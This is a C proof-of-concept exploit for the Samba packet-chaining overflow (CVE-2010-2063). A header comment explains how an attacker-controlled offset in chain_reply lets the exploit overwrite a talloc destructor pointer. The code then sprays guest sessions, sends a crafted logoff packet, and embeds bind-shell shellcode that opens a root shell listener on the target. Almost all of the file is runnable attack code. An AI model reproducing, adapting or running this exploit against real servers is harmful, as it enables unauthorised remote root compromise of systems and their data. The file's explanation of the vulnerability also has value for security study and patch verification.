/***********************************************************
 * hoagie_samba_packetchaining.c
 * REMOTE SAMBA ROOT EXPLOIT (<= 3.3.12, <= 3.2.15, <= 3.0.37) - CVE-2010-2063
 *
 * Bug reported by iDefense
 * http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873
 *
 * SMB Protocol see
 * http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf
 * 
 * The main problem is in source/smbd/process.c
 * void chain_reply(struct smb_request *req)
 * {
 *       static char *orig_inbuf;
 * ...
 *       char *inbuf = CONST_DISCARD(char *, req->inbuf);
 * ...
 *       unsigned smb_off2 = SVAL(inbuf,smb_vwv1);
 *                ^^^^^^^^
 *                user controlled value (offset 0x27)
 * ...
 *       if (chain_size == 0) {
 *                orig_inbuf = inbuf;
 *       }
 *
 * ...
 *       inbuf2 = orig_inbuf + smb_off2 + 4 - smb_wct;
 *       ^^^^^^
 *       inbuf2 points to a memory location after packet 
 *       (so we have to fill up memory to exploit this vulnerability)
 * ...
 *       memmove(inbuf2,inbuf,smb_wct);
 *       ^^^^^^^
 *       This call triggers the overflow and writes 0x24 (smb_wct) bytes
 *       to a user controlled memory region
 * ...
 *
 * So we can overwrite inbuf + [0x0 ... 0xffff] with 36 bytes from our
 * smb packet (starting at offset 0). So we have to find a memory location
 * that we can overwrite for our attack => talloc_chunk
 *
 * struct talloc_chunk {
 *       struct talloc_chunk *next, *prev;
 *       struct talloc_chunk *parent, *child;
 *       struct talloc_reference_handle *refs;
 *       talloc_destructor_t destructor;
 *       const char *name;
 *       size_t size;
 *       unsigned flags;
 *
 *       *
 *       * "pool" has dual use:
 *       *
 *       * For the talloc pool itself (i.e. TALLOC_FLAG_POOL is set), "pool"
 *       * marks the end of the currently allocated area.
 *       *
 *       * For members of the pool (i.e. TALLOC_FLAG_POOLMEM is set), "pool"
 *       * is a pointer to the struct talloc_chunk of the pool that it was
 *       * allocated from. This way children can quickly find the pool to chew
 *       * from.
 *       *
 *       void *pool;
 * };
 *
 * As you can see there is a destructor pointer reference that will be called
 * during TALLOC_FREE(). The size of the talloc structure fits perfectly into
 * our buffer at offset 0x0a (before that we have the smb magic bytes). To
 * exploit the vulnerability we set all the list pointers to zero and the last
 * 4 bytes in our 36 byte copy will be the callback pointer (talloc_destructor_t).
 *
 * In most cases there is no talloc chunk buffer AFTER the inbuf buffer. So we
 * have to find a way to fill up the memory with talloc chunks. Therefore we
 * register a few sessions that will be held in memory by using
 * register_existing_vuid(). Afterwards we send a packet with a fake offset
 * value that points to a vuser struct. When samba finds a invalid offset
 * it calls exit_server_common() that calls invalidate_all_vuids(). So here
 * we are: Inside invalidate_all_vuids() all the vuser objects will be freed.
 *
 * source/smbd/process.c:
 * new_size = size - (inbuf2 - inbuf);
 * if (new_size < 0) {
 *         DEBUG(0,("chain_reply: chain packet size incorrect "
 *                  "(orig size = %d, offset = %d)\n",
 *                  size, (int)(inbuf2 - inbuf) ));
 *         exit_server_cleanly("Bad chained packet");
 *         return;
 * }
 *
 * source/smbd/password.c:
 * void invalidate_vuid(uint16 vuid)
 * {
 *      user_struct *vuser = NULL;
 * ...
 *      TALLOC_FREE(vuser);
 *      num_validated_vuids--;
 * }
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define DEFAULT_PORT            445
#define DEFAULT_HEADER_SIZE     4
#define DEFAULT_MESSAGE_SIZE    (0x100 + DEFAULT_HEADER_SIZE)
#define DEFAULT_SESSIONS        6

#define SMBsesssetupX           0x73
#define SMBulogoffX             0x74

/* connect_to
 * establish a tcp connection between client and server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3;
       }
   }  

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/* create_smb 
 * allocate a buffer for smb message and fill default values
 */
char *create_smb(char command, int length) {
   char *data = (char *)malloc(length);

   if (data) {
      memset(data, 0, length);

      /* 0x00: msg type */
      data[0x00] = 0x00;

      /* 0x01: msg length */
      data[0x01] = (length - DEFAULT_HEADER_SIZE) & 0xff;
      data[0x02] = ( (length - DEFAULT_HEADER_SIZE) >> 8) & 0xff;
      data[0x03] = ( (length - DEFAULT_HEADER_SIZE) >> 16) & 0xff;

      /* 0x04: smb header */
      data[0x04] = 0xff;
      data[0x05] = 'S';
      data[0x06] = 'M';
      data[0x07] = 'B';
 
      /* 0x08: smb command */
      data[0x08] = command;

      /* 0x09: status */
      /* 0x0d: flags */
      /* 0x0e: flags2 */
      /* 0x10: extra */
      /* 0x1c: tid */
      /* 0x1e: pid */
      /* 0x20: uid */
      /* 0x22: mid */
   }

   return data;
}

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
           "       [-o <offset talloc>]\n"
           "\n"
           "-h          help\n"
           "-v          verbose\n"
           "-r          enable random mode\n"
           "-d host     samba server\n"
           "-p port     samba port (default: %d)\n"
           "-o vuser    offset of a vuser memory object\n"
           "-n sessions number of sessions to register (%d)\n"
           "\n"
           ,
           argv[0],
           DEFAULT_PORT,
           DEFAULT_SESSIONS);
   exit(1);
}

/**
 * create_register
 */
char *create_register() {
   char *data = create_smb(SMBsesssetupX, DEFAULT_MESSAGE_SIZE);
   char *p;
   
   if (data) {
      p = data + 0x24;

      /* word count */
      (*p++) = 0x0a;

      /* andxcommand */
      (*p++) = 0xff;

      p += 0xc;

      /* password length */
      (*p++) = 0x01;
      (*p++) = 0x00;

      p += 0x4;

      /* password length */
      (*p++) = 0x01;
      (*p++) = 0x00;
   }

   return data;
}

char shellcode[] =
   "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd"
   "\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef"
   "\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43"
   "\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89"
   "\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f"
   "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4"
   "\xf6\xd0\xcd\x80";

/**
 * create_unregister
 */
char *create_unregister(int ip, short offset) {
   char *data = create_smb(SMBulogoffX, DEFAULT_MESSAGE_SIZE);
   char *p;

   if (data ) {
      p = data + 0x20;
      (*p++) = (ip) & 0xff;
      (*p++) = (ip >> 8) & 0xff;
      (*p++) = (ip >> 16) & 0xff;
      (*p++) = (ip >> 24) & 0xff;

      /* word count */
      (*p++) = 0x02;

      /* andxcommand - has to be 0x00 instead of 0xff so we can trigger the exploit */
      (*p++) = 0x00;

      /* andxreserverd */
      (*p++) = 0x00;

      /* andxoffset */
      (*p++) = offset & 0xff;
      (*p++) = (offset >> 8) & 0xff;
 
      (*p++) = 0x00;
      (*p++) = 0x00;

      memcpy(p, shellcode, strlen(shellcode));
   }

   return data;
}

int main(int argc, char **argv) {
   int i;
   int s;
   char *server = NULL;
   int port = DEFAULT_PORT;
   short offset = 0;
   long ip = 0;
   int sessions = 0;
   char *data_register;
   char *data_unregister;
   char *data_response = (char*)malloc(DEFAULT_MESSAGE_SIZE);
   char c;
   int verbose = 0;

   fprintf(stderr,
           "hoagie_samba_packetchaining.c - samba root <= 3.3.12, <= 3.2.15, <= 3.0.37\n"
           "-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
     while ((c = getopt (argc, argv, "hvd:p:o:n:i:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 server = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 break;
            case 'o':
                 sscanf(optarg, "0x%x", &offset);
                 break;
            case 'i':
                 sscanf(optarg, "0x%x", &ip);
                 break;
            case 'n':
                 sessions = atoi(optarg);
            case 'v':
                 verbose = 1;
                 break;
            default:
                 fprintf(stderr, "[*] unknown command line option '%c'\n", c);
                 exit(-1);
         }
      }

      data_register = create_register();
      data_unregister = create_unregister(ip, offset);

      if (data_register && data_unregister) {
         printf("[*] connecting to %s:%d ...\n", server, port);
         s = connect_to(server, port);
         if (s > 0) {
            printf("[*] connection established\n");
            for (i = 0; i < sessions; i++) {
               printf("[*] register guest session %d ...\n", i + 1);
               write(s, data_register, DEFAULT_MESSAGE_SIZE);
               read(s, data_response, DEFAULT_MESSAGE_SIZE);
               if (data_response[5 + 0x24] == 0x01) {
                  printf("[*] session successfully registered\n");
               }
            }
            printf("[*] sending unregister\n");
            write(s, data_unregister, DEFAULT_MESSAGE_SIZE);
            read(s, data_response, DEFAULT_MESSAGE_SIZE);
            close(s);
         } else {
            fprintf(stderr, "[*] connect failed\n");
         }
      }
   }

   return 0;
}

